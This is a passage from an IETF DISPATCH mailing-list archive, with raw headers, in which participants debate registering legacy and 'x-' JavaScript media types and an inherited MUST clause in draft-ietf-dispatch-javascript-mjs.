--000000000000e30c8005d53a33fb-- From nobody Mon Jan 10 19:36:09 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 1B4EE3A12D5; Mon, 10 Jan 2022 19:36:03 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.097 X-Spam-Level: X-Spam-Status: No, score=-2.097 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, DKIM_VALID_AU=-0.1, DKIM_VALID_EF=-0.1, FREEMAIL_FROM=0.001, HTML_MESSAGE=0.001, SPF_HELO_NONE=0.001, SPF_PASS=-0.001, URIBL_BLOCKED=0.001] autolearn=ham autolearn_force=no Authentication-Results: ietfa.amsl.com (amavisd-new); dkim=pass (2048-bit key) header.d=gmail.com Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id wWT0glt8YPrp; Mon, 10 Jan 2022 19:35:58 -0800 (PST) Received: from mail-ua1-x930.google.com (mail-ua1-x930.google.com [IPv6:2607:f8b0:4864:20::930]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id 6C2653A12D3; Mon, 10 Jan 2022 19:35:58 -0800 (PST) Received: by mail-ua1-x930.google.com with SMTP id h11so5455620uar.5; Mon, 10 Jan 2022 19:35:58 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20210112; h=mime-version:references:in-reply-to:from:date:message-id:subject:to :cc; bh=KBm3MQNQfUXFlDFRqPRBOP/4DfzER2t8KShPcpCmxaE=; b=giN/sFD1VpBIttGbZTqqL1ktCqowYWUstRrGw/m1px6P0xka4xalrMl32gWVZivniU NL5vXFq3TAWiWP4covB7WwYP06DRKwk0GKw5sNwvUenwraC4iIEGdU4YvCiPhFMChr3o xcEWR1YDOm+m6gOxQywfeWzSVzdE3g0XlcwafmzUQ2LVgcIk/w/n7pXv+eu3vl/dLtb3 kIs5X7OsSbiBf7ygtWkkwM6wHrmbVKraneaDzbT+TCex4NFYsuI2pLjab+CZybzZntCx bKj59ExdummO5fvDs4M8yB86MduE1tyxOhywBgRsYB2mX/5WTZ34prqTPrGwdfJIwtbt 8+Eg== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20210112; h=x-gm-message-state:mime-version:references:in-reply-to:from:date :message-id:subject:to:cc; bh=KBm3MQNQfUXFlDFRqPRBOP/4DfzER2t8KShPcpCmxaE=; b=FB/Yu45orH4i5yJPp/QSLw8EnXDbsGtx6G03YXB+03Ln815xTqrLaPlBhk5V0aKNc6 +vboLYzO1wcA7Vqwxsnffp/TVBTsDvpqYEGaFf8JWGHGDVdO5AF7u/B19ld0TeBPFJAa rcQtNtK0/TcSK+YmEQaoU/gg2D6/vi+Q7P2S/KybgZCLhXZVbGAxRWnR5Tj2WwZdZCZW 53r7hUmJBgwvZic5NLZNd5sEzmZ09lDMC11KZaohRTOqlrr5GfSpzB71y+1vTylMgrdz M/lufd2cwrbpfebtftlspZ54po1XITNz9oj6ibSeRud8EMY4OF+U3Y6CRF1SKJhULHBQ kOcg== X-Gm-Message-State: AOAM530drDIARHVFeQkaYm5Mi7gNtPG9+H6s/DDlrHUPBcwjrzFFb3CO 6Lb8QO/CtgL13mJR2VBMZZ7AA+gQp6S2JfWuLyw= X-Google-Smtp-Source: ABdhPJxwSlF9/T7tJiLWc+4uKGLoIwf6Tno9KxjwrJ1Fz8g+ZsjVy4PfBxXDfOFYSAHwe+0vNgRbfqjC8Vs2LO4dD44= X-Received: by 2002:a05:6102:512:: with SMTP id l18mr1212765vsa.57.1641872155899; Mon, 10 Jan 2022 19:35:55 -0800 (PST) MIME-Version: 1.0 References: <164144481153.28700.9521326921012553920@ietfa.amsl.com> In-Reply-To: From: "Murray S. Kucherawy" Date: Mon, 10 Jan 2022 19:35:44 -0800 Message-ID: To: Mathias Bynens Cc: The IESG , draft-ietf-dispatch-javascript-mjs@ietf.org, dispatch chairs , DISPATCH WG , Ben Campbell Content-Type: multipart/alternative; boundary="0000000000009e79db05d54626e8" Archived-At: Subject: Re: [dispatch] Murray Kucherawy's No Objection on draft-ietf-dispatch-javascript-mjs-13: (with COMMENT) X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 11 Jan 2022 03:36:03 -0000 --0000000000009e79db05d54626e8 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable On Mon, Jan 10, 2022 at 5:20 AM Mathias Bynens wrote: > Thank you. Please take a look at this patch: > https://github.com/linuxwolf/bmeck-ids/pull/65/files > > For context, these are historical legacy types that are supported in > practice: https://mathiasbynens.be/demo/javascript-mime-type Although > they are OBSOLETED, it=E2=80=99s important that the document specifies th= em because > they are required for Web compatibility. > I think that's an improvement. I'd be curious to hear what John thinks. If as you commented in github you don't like the word "grandfathered", you could instead work the word "legacy" into the prose and still say the same thing. Any further comment on the MUST issue I raised? -MSK --0000000000009e79db05d54626e8 Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: quoted-printable
On Mon, Jan 10, 2022 at 5:20 AM Mathias B= ynens <mths@google.com> wrote:=
Thank you. Please take a look at this patch: <= a href=3D"https://github.com/linuxwolf/bmeck-ids/pull/65/files" target=3D"_= blank">https://github.com/linuxwolf/bmeck-ids/pull/65/files

For context, these are historical=C2= =A0legacy types that are supported in practice:=C2=A0https://mathiasb= ynens.be/demo/javascript-mime-type Although they are OBSOLETED, it=E2= =80=99s important that the document specifies them because they are require= d for Web compatibility.

= I think that's an improvement.=C2=A0 I'd be curious to hear what Jo= hn thinks.

If as you commented in github you don&#= 39;t like the word "grandfathered", you could instead work the wo= rd "legacy" into the prose and still say the same thing.

Any further comment on the MUST issue I raised?
=
-MSK
--0000000000009e79db05d54626e8-- From nobody Mon Jan 10 23:13:43 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id D97313A1B9B for ; Mon, 10 Jan 2022 23:13:37 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -9.588 X-Spam-Level: X-Spam-Status: No, score=-9.588 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, DKIMWL_WL_MED=-0.001, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, DKIM_VALID_AU=-0.1, DKIM_VALID_EF=-0.1, HTML_MESSAGE=0.001, SPF_HELO_NONE=0.001, T_SPF_TEMPERROR=0.01, URIBL_BLOCKED=0.001, USER_IN_DEF_DKIM_WL=-7.5] autolearn=unavailable autolearn_force=no Authentication-Results: ietfa.amsl.com (amavisd-new); dkim=pass (2048-bit key) header.d=google.com Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id Y25T-At6Dehu for ; Mon, 10 Jan 2022 23:13:32 -0800 (PST) Received: from mail-pl1-x62b.google.com (mail-pl1-x62b.google.com [IPv6:2607:f8b0:4864:20::62b]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id 927B33A1B9A for ; Mon, 10 Jan 2022 23:13:32 -0800 (PST) Received: by mail-pl1-x62b.google.com with SMTP id c3so15781985pls.5 for ; Mon, 10 Jan 2022 23:13:32 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20210112; h=mime-version:references:in-reply-to:from:date:message-id:subject:to :cc; bh=pZTiFbb6DuQnP4aZQqzTZAG1BroBFKjJnAfnAtKB22U=; b=CAxxMbolaBOyuDr/xkOHlH+MupU1hAHyQoQN+TsRxbA00GhqcRykTAPZa8WqF2tiec JmywknasEhBVZdlFuL8i5+uVbVBYPNrKLzjzJP/Nv+4+8DbFrc5cFJg8qtFwObWny2di Q8t8iLr07W+yFnK3Q9U5AUmjT/QggR+lqLKjuTGxJzhQs/9GAb/U1r81yQqpxbIlEfL3 jjSYvIyDpbuiUz7no3d0iP2lBO6LBF3jq9cYFDAv+2CJifG9q8XE+WKUsnTgf+htnl1k TskPvBG79A8r/YhWCSSukIjbykWZLm6buhZm/NGQC9Ieing1GgkTKRT6rXU+h4v036Bw X3pg== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20210112; h=x-gm-message-state:mime-version:references:in-reply-to:from:date :message-id:subject:to:cc; bh=pZTiFbb6DuQnP4aZQqzTZAG1BroBFKjJnAfnAtKB22U=; b=WwPH/spaP7cz5/V89VxAwjhj1q6dUIlpzcAWTFDHvTeS9W1tTw9OJPFjCh9Cs9peRa a0cizJsRI3dDkjOGmLSlCMxuXS32Aiu+9UAN+vEwkifq54eRuWQ/6GOzbo+/ibUU+g+I 0lmDNLuu0HgIki/MZRKfbKbyhudXnpdlyEgAdAfYiW++AoT81dAa4+8A5q4WFln69ac/ zc0t3iFNBLuAtp7pMnOpRSgclk5cxPrVVHDA9uYhiZqjH3Ah6WPzg88oJKiHqpnv19Kt lUi55qCsEruX+sN+d92RbIMILD0kepCGeExzBAuIAd3JtZMqPOYsipH5mUdArU3QxN5P 9uvg== X-Gm-Message-State: AOAM530wlju5PYV5KPil7Gm4MS0G8dHiE0DFdgcQ6843CQKvnaHYR5jd R8x/oTJYjQ6SEbd+DV+XQ2HuNM9hF64iWDFyn7+lKQ== X-Google-Smtp-Source: ABdhPJyapxT7H84164ezf1X13bTw18HKrt3Kmyj5kv0mZoqUrTEWg7wCK9M13y8e76iJERU3TywTJ+x/MZjn9d7LDuI= X-Received: by 2002:a17:902:d485:b0:14a:4ba5:6e64 with SMTP id c5-20020a170902d48500b0014a4ba56e64mr3304840plg.152.1641885210794; Mon, 10 Jan 2022 23:13:30 -0800 (PST) MIME-Version: 1.0 References: <164144481153.28700.9521326921012553920@ietfa.amsl.com> In-Reply-To: From: Mathias Bynens Date: Tue, 11 Jan 2022 08:13:19 +0100 Message-ID: To: "Murray S. Kucherawy" Cc: The IESG , draft-ietf-dispatch-javascript-mjs@ietf.org, dispatch chairs , DISPATCH WG , Ben Campbell Content-Type: multipart/alternative; boundary="000000000000c0cec105d54930dc" Archived-At: Subject: Re: [dispatch] Murray Kucherawy's No Objection on draft-ietf-dispatch-javascript-mjs-13: (with COMMENT) X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 11 Jan 2022 07:13:38 -0000 --000000000000c0cec105d54930dc Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable On Tue, Jan 11, 2022 at 4:35 AM Murray S. Kucherawy wrote: > On Mon, Jan 10, 2022 at 5:20 AM Mathias Bynens wrote: > >> Thank you. Please take a look at this patch: >> https://github.com/linuxwolf/bmeck-ids/pull/65/files >> >> For context, these are historical legacy types that are supported in >> practice: https://mathiasbynens.be/demo/javascript-mime-type Although >> they are OBSOLETED, it=E2=80=99s important that the document specifies t= hem because >> they are required for Web compatibility. >> > > I think that's an improvement. I'd be curious to hear what John thinks. > > If as you commented in github you don't like the word "grandfathered", yo= u > could instead work the word "legacy" into the prose and still say the sam= e > thing. > > Any further comment on the MUST issue I raised? > This refers to the following paragraph: ``` This document may be updated to take other content into account. Updates of this document may introduce new optional parameters; implementations MUST consider the impact of such an update. ``` This MUST is not new; this text is inherited from RFC4329 (section 3). For our draft, we=E2=80=99ve been hesitant to make changes other than the ones = that were needed to match implementation reality & ensure compat. > > -MSK > --000000000000c0cec105d54930dc Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: quoted-printable


=
On Tue, Jan 11, 2022 at 4:35 AM Murra= y S. Kucherawy <superuser@gmail.c= om> wrote:
On Mon, Jan 10, 2022 at 5:20 AM Mathias= Bynens <mths@googl= e.com> wrote:
Thank you. Please take a = look at this patch: https://github.com/linuxwolf/bmeck-ids/pull/65/= files

For context, these = are historical=C2=A0legacy types that are supported in practice:=C2=A0https://mathiasbynens.be/demo/javascript-mime-type Although they are O= BSOLETED, it=E2=80=99s important that the document specifies them because t= hey are required for Web compatibility.
=
I think that's an improvement.=C2=A0 I'd be curious = to hear what John thinks.

If as you commented in g= ithub you don't like the word "grandfathered", you could inst= ead work the word "legacy" into the prose and still say the same = thing.

Any further comment on the MUST issue I rai= sed?

This refers to the f= ollowing paragraph:

```
This document may be updated to ta= ke other content into account. Updates of this document may introduce new o= ptional parameters; implementations MUST consider the impact of such an upd= ate.
```

This MUST is not new; this text= is inherited from RFC4329 (section 3). For our draft, we=E2=80=99ve been h= esitant to make changes other than the ones that were needed to match imple= mentation reality & ensure compat.
=C2=A0

-MSK
--000000000000c0cec105d54930dc-- From nobody Tue Jan 11 09:02:54 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 0CEE53A040C; Tue, 11 Jan 2022 09:02:51 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.098 X-Spam-Level: X-Spam-Status: No, score=-2.098 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, DKIM_VALID_AU=-0.1, DKIM_VALID_EF=-0.1, FREEMAIL_FROM=0.001, HTML_MESSAGE=0.001, SPF_HELO_NONE=0.001, SPF_PASS=-0.001] autolearn=ham autolearn_force=no Authentication-Results: ietfa.amsl.com (amavisd-new); dkim=pass (2048-bit key) header.d=gmail.com Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id S0HUhsUPq_fH; Tue, 11 Jan 2022 09:02:49 -0800 (PST) Received: from mail-ua1-x92c.google.com (mail-ua1-x92c.google.com [IPv6:2607:f8b0:4864:20::92c]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id 948583A03FA; Tue, 11 Jan 2022 09:02:49 -0800 (PST) Received: by mail-ua1-x92c.google.com with SMTP id m90so15766452uam.2; Tue, 11 Jan 2022 09:02:49 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20210112; h=mime-version:references:in-reply-to:from:date:message-id:subject:to :cc; bh=ss1X1RRpDm/5C8sBMD0ct/b+mJmzOWCw01z8Zug+ztA=; b=iMnLRtPr77lPV2jceLZCgsh4HVdf+6+RCddfowa9UciWsibgJih+3BWjzSeVriXcAn HhC0+/f0tU9XPVldQMYRy/fvGn+91Q3ZsBGh9HjHC7PIz5qjW6N5/jgirew3PkpCr9i1 B/lWpBh/igc7HSChpCIjTFzhhEX1i1mkbhCOlq9J9U6XUyGVEaE0FQpDJ/wmQha6x5zj V6rCY+rt9kn6WKcQgvELRJrhTRR1B5q6ehGn0QEBDvRwX9yhkw4mYDuEVxHvbrGDG51N t7yRpZRy8iZu68fiGI79RTxL7N/l2uCSv+y2XA2deZn/hEjNj60Pt4xBqMeF4duICPrP QJ0w== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20210112; h=x-gm-message-state:mime-version:references:in-reply-to:from:date :message-id:subject:to:cc; bh=ss1X1RRpDm/5C8sBMD0ct/b+mJmzOWCw01z8Zug+ztA=; b=o3SwZSeKaoZpU3WF6NpoSZcbcGPiP1NrLrK2kH1JFvm+9BreyLwFXzxFHzGfiFpoxt MtFMkd+dQVrHy1Q5p48qsTsfRL56/tVfaR5ijPV5D598vGysQ+75vTv7pnv6rGAkOeew JdOgLM8zAgkVVObib8ZloAi8H21eNkX04+YTZeoB40y7o5/f6aMxiSpObB/xvXKdnxhR TjqdaXDd7/q92XIsM1GQLdGcnjHd060q4iqdz8tWV+4cv8dlMx3TmjAbxbPNQEssHnO6 /waOsb7cWYvjpuyG2IC7VTy2F+dD198sATQIRySPTHVDfTwfQpbglJffPCnzGqPl+3dz uyHQ== X-Gm-Message-State: AOAM533w1PKvGcQKxVSiSXH9ykefn22Xd+f9nj099rkz2BcOVZLC7IuB PLTn1nxHw8WKu8msGkaAGi/MjeOoFTgBwijyvEw= X-Google-Smtp-Source: ABdhPJwHlm6deTxaLw3KQMOouTtmjqr9nb3jiG33EIzOqpI+VHThKgAVSgYo4K92ddWG6bBr6v7WS3dUm5Ri++u38Bo= X-Received: by 2002:a05:6102:512:: with SMTP id l18mr2447172vsa.57.1641920567896; Tue, 11 Jan 2022 09:02:47 -0800 (PST) MIME-Version: 1.0 References: <164144481153.28700.9521326921012553920@ietfa.amsl.com> In-Reply-To: From: "Murray S. Kucherawy" Date: Tue, 11 Jan 2022 09:02:36 -0800 Message-ID: To: Mathias Bynens Cc: The IESG , draft-ietf-dispatch-javascript-mjs@ietf.org, dispatch chairs , DISPATCH WG , Ben Campbell Content-Type: multipart/alternative; boundary="00000000000032ece105d5516c4a" Archived-At: Subject: Re: [dispatch] Murray Kucherawy's No Objection on draft-ietf-dispatch-javascript-mjs-13: (with COMMENT) X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 11 Jan 2022 17:02:51 -0000 --00000000000032ece105d5516c4a Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable On Mon, Jan 10, 2022 at 11:13 PM Mathias Bynens wrote: > > >> Any further comment on the MUST issue I raised? >> > > This refers to the following paragraph: > > ``` > This document may be updated to take other content into account. Updates > of this document may introduce new optional parameters; implementations > MUST consider the impact of such an update. > ``` > > This MUST is not new; this text is inherited from RFC4329 (section 3). Fo= r > our draft, we=E2=80=99ve been hesitant to make changes other than the one= s that > were needed to match implementation reality & ensure compat. > "The sins of the father" and all that. :-) I do appreciate the desire for minimal change from an already-approved document. I also think that propagating text that was improper to begin with should be given due consideration. As she's the responsible AD here, at this point I'll defer to Francesca on the MUST question. -MSK --00000000000032ece105d5516c4a Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: quoted-printable
On Mon, Jan 10, 2022 at 11:13 PM Mathias = Bynens <mths@google.com> wrote= :


Any further comment on the MUST issue I raised?

This refers to the followin= g paragraph:

```
This document may be updated to take othe= r content into account. Updates of this document may introduce new optional= parameters; implementations MUST consider the impact of such an update.
```

This MUST is not new; this text is inh= erited from RFC4329 (section 3). For our draft, we=E2=80=99ve been hesitant= to make changes other than the ones that were needed to match implementati= on reality & ensure compat.

"The sins of the father" and all that.=C2=A0 :-)

I do appreciate the desire for minimal change from an alrea= dy-approved document.=C2=A0 I also think that propagating text that was imp= roper to begin with should be given due consideration.

=
As she's the responsible AD here, at this point I'll defer to = Francesca on the MUST question.

-MSK
=
--00000000000032ece105d5516c4a-- From nobody Tue Jan 11 14:32:35 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 7522D3A12BE for ; Tue, 11 Jan 2022 14:32:28 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -0.556 X-Spam-Level: X-Spam-Status: No, score=-0.556 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, DATE_IN_PAST_06_12=1.543, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, DKIM_VALID_AU=-0.1, DKIM_VALID_EF=-0.1, RCVD_IN_DNSWL_BLOCKED=0.001, SPF_PASS=-0.001, URIBL_BLOCKED=0.001] autolearn=no autolearn_force=no Authentication-Results: ietfa.amsl.com (amavisd-new); dkim=pass (1024-bit key) header.d=mrochek.com Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 8r6XK6MJZZxC for ; Tue, 11 Jan 2022 14:32:24 -0800 (PST) Received: from mauve.mrochek.com (mauve.mrochek.com [98.153.82.211]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id D693A3A12BB for ; Tue, 11 Jan 2022 14:32:23 -0800 (PST) Received: from dkim-sign.mauve.mrochek.com by mauve.mrochek.com (PMDF V6.1-1 #35243) id <01S8F3X80CQ800IH94@mauve.mrochek.com> for dispatch@ietf.org; Tue, 11 Jan 2022 14:27:19 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mrochek.com; s=201712; t=1641940039; bh=/pwAi/09Oi0/nW+TsJt+ZzvhFafr57hmwsuZpD6xPd0=; h=From:Cc:Date:Subject:In-reply-to:References:To:From; b=acUiC4iruYVIUJ0apsFCsx8Zs/DNoppPWg1XyaDa6by9f2vbF11YOsfaIoGnlSjI3 EHph1Ad6E+kVyrmwfunxtXOO2z7AIOkPVEzykqA9HMoirwUMvLfLWYtub4s8fN8EVr reJYB63iwdo6U8rA9vdt2n8R5bCau+l+XvvyG0E8= MIME-version: 1.0 Content-transfer-encoding: 8BIT Content-type: TEXT/PLAIN; charset=UTF-8 Received: from mauve.mrochek.com by mauve.mrochek.com (PMDF V6.1-1 #35243) id <01S8CCV4AC8W00D1OX@mauve.mrochek.com> (original mail from NED@mauve.mrochek.com) for dispatch@ietf.org; Tue, 11 Jan 2022 14:27:12 -0800 (PST) From: ned+dispatch@mrochek.com Cc: "Murray S. Kucherawy" , DISPATCH WG , Ben Campbell , dispatch chairs , The IESG , draft-ietf-dispatch-javascript-mjs@ietf.org Message-id: <01S8F3X371ZE00D1OX@mauve.mrochek.com> Date: Tue, 11 Jan 2022 07:53:18 -0800 (PST) In-reply-to: "Your message dated Mon, 10 Jan 2022 14:20:27 +0100" References: <164144481153.28700.9521326921012553920@ietfa.amsl.com> To: Mathias Bynens Archived-At: Subject: Re: [dispatch] Murray Kucherawy's No Objection on draft-ietf-dispatch-javascript-mjs-13: (with COMMENT) X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 11 Jan 2022 22:32:29 -0000 In regards to all these obsolete registrations and x- registrtions in particular... > > What I've observed is that the current media type registry does not at > > present contain any of the "x-" media types this document is registering. > > I believe that makes them new registrations, and so I suggest that there > > should be text explaining why BCP 178 doesn't apply here. > > > Thank you. Please take a look at this patch: > https://github.com/linuxwolf/bmeck-ids/pull/65/files > For context, these are historical legacy types that are supported in > practice: https://mathiasbynens.be/demo/javascript-mime-type Although they > are OBSOLETED, it’s important that the document specifies them because they > are required for Web compatibility. There seems to be considerable misunderstanding about the rules regarding obsolete type names, unfaceted types, and type names beginning with "X-". First, RFC 6838 eliminated the special status of type names beginning with "X-". So nothing prevents you from registering type names beginning with "X-" as long as the registration is in the standards tree. Appendix A of RFC 6838 only applies if the type is being registered in, say, the vendor tree, which AFAICT is not the case here. Of course the fact that you can register names beginning with "X-" doesn't mean you should. So if you're doing this, a note explaining why ths makes sense would be a good idea. However, the better question is why are all these obsolete type names being registered separately. RFC 6838 section 4.2.9 explains the proper way to handle old names for the same media type, and the registration form now contains a field for listing all of these names. If you're going to register a bunch of separate types for a bunch of similar things, you need to explain why you're doing things this way, and more importantly, why they warrant having different names. And since in this case all of these additional registrations are marked as obsolete, I fail to see why they aren't being handle as deprecated aliases. Or, to pur this another way, why not simply list all 15 (!) aliases in the registration for text/javascript and get rid of section 6.2 entirely? Ned From nobody Tue Jan 11 20:49:11 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id D9C8A3A14F8; Tue, 11 Jan 2022 20:49:02 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -1.897 X-Spam-Level: X-Spam-Status: No, score=-1.897 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, SPF_HELO_NONE=0.001, SPF_NONE=0.001, URIBL_BLOCKED=0.001] autolearn=ham autolearn_force=no Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id QHYBzwaH0K2K; Tue, 11 Jan 2022 20:48:58 -0800 (PST) Received: from bsa2.jck.com (ns.jck.com [70.88.254.51]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id 3AABC3A14F5; Tue, 11 Jan 2022 20:48:55 -0800 (PST) Received: from [198.252.137.10] (helo=PSB) by bsa2.jck.com with esmtp (Exim 4.82 (FreeBSD)) (envelope-from ) id 1n7VZ6-0001T0-Nl; Tue, 11 Jan 2022 23:48:52 -0500 Date: Tue, 11 Jan 2022 23:48:46 -0500 From: John C Klensin To: ned+dispatch@mrochek.com, Mathias Bynens cc: Ben Campbell , DISPATCH WG , dispatch chairs , draft-ietf-dispatch-javascript-mjs@ietf.org, The IESG Message-ID: In-Reply-To: <01S8F3X371ZE00D1OX@mauve.mrochek.com> References: <164144481153.28700.9521326921012553920@ietfa.amsl.com> <01S8F3X371ZE00D1OX@mauve.mrochek.com> X-Mailer: Mulberry/4.0.8 (Win32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Disposition: inline X-SA-Exim-Connect-IP: 198.252.137.10 X-SA-Exim-Mail-From: john-ietf@jck.com X-SA-Exim-Scanned: No (on bsa2.jck.com); SAEximRunCond expanded to false Archived-At: Subject: Re: [dispatch] Murray Kucherawy's No Objection on draft-ietf-dispatch-javascript-mjs-13: (with COMMENT) X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 12 Jan 2022 04:49:03 -0000 Warning: this note is long. Those who are not interested in the details can safely skip to the least three paragraphs, beginning with the one that starts "bottom line". --On Tuesday, January 11, 2022 07:53 -0800 ned+dispatch@mrochek.com wrote: > In regards to all these obsolete registrations and x- > registrtions in particular... > >> > What I've observed is that the current media type registry >> > does not at present contain any of the "x-" media types >> > this document is registering. I believe that makes them new >> > registrations, and so I suggest that there should be text >> > explaining why BCP 178 doesn't apply here. >> Thank you. Please take a look at this patch: >> https://github.com/linuxwolf/bmeck-ids/pull/65/files > >> For context, these are historical legacy types that are >> supported in practice: >> https://mathiasbynens.be/demo/javascript-mime-type Although >> they are OBSOLETED, it's important that the document >> specifies them because they are required for Web >> compatibility. > > There seems to be considerable misunderstanding about the > rules regarding obsolete type names, unfaceted types, and type > names beginning with "X-". > > First, RFC 6838 eliminated the special status of type names > beginning with "X-". So nothing prevents you from registering > type names beginning with "X-" as long as the registration is > in the standards tree. Appendix A of RFC 6838 only applies if > the type is being registered in, say, the vendor tree, which > AFAICT is not the case here. > > Of course the fact that you can register names beginning with > "X-" doesn't mean you should. So if you're doing this, a note > explaining why ths makes sense would be a good idea. Let me go a half-step further than Ned. Given the language in RFC 6648/ BCP 178, not explaining why it makes sense would create a situation in which an Informational specification in the IETF Stream was violating an IETF BCP. Without a clear explanation in the document, one which I believe should have been identified in the Last Call, that would create an intolerable situation of the IETF ignoring its one "best practice" specifications. > However, the better question is why are all these obsolete > type names being registered separately. RFC 6838 section 4.2.9 > explains the proper way to handle old names for the same media > type, and the registration form now contains a field for > listing all of these names. > If you're going to register a bunch of separate types for a > bunch of similar things, you need to explain why you're doing > things this way, and more importantly, why they warrant having > different names. > > And since in this case all of these additional registrations > are marked as obsolete, I fail to see why they aren't being > handle as deprecated aliases. Or, to pur this another way, why > not simply list all 15 (!) aliases in the registration for > text/javascript and get rid of section 6.2 entirely? Now, as I see it, that is an introduction to several problems. First, because ECMA-262 has evolved, some of those types may not actually be aliases but pointers to obsolete versions of the specifications (see below). Of course, if that is the case, the document should say so. That relationship is one of the many ways in which it is impossible for the I-D to be the claimed simple update to RFC 4329 (part of the basis for its progressing this far) without _introducing_ errors that 4329 did not have. Looking for a moment only at the IANA registry, Ned is the lead Media type reviewer/ Designated Expert for the registry and under RFC 6838, not just for the Vendor and Personal Trees but for "requests made by other recognized standards organizations". If we have seen a request _From ECMA_, I have not been able to find where that is documented. I would have expected to see it in both the Last Call announcement and in the draft IESG document action announcement as well as the document itself, and it appears in none of those places. Putting those documentation issues aside for the moment, if this was a request from ECMA and Ned does not believe the registration request or documentation meets the requirements, unless Alexey or Murray can convince him otherwise, the document is essentially, as the saying goes, dead in the water: while we give great deference to requests from other recognized standards organizations, we have no rule about overriding the decision of a Designated Expert, even by an IETF Stream Informational RFC. Nor do we have rules that say that, when there are multiple Designed Experts, two of them can outvote the other one. And IANA takes direction 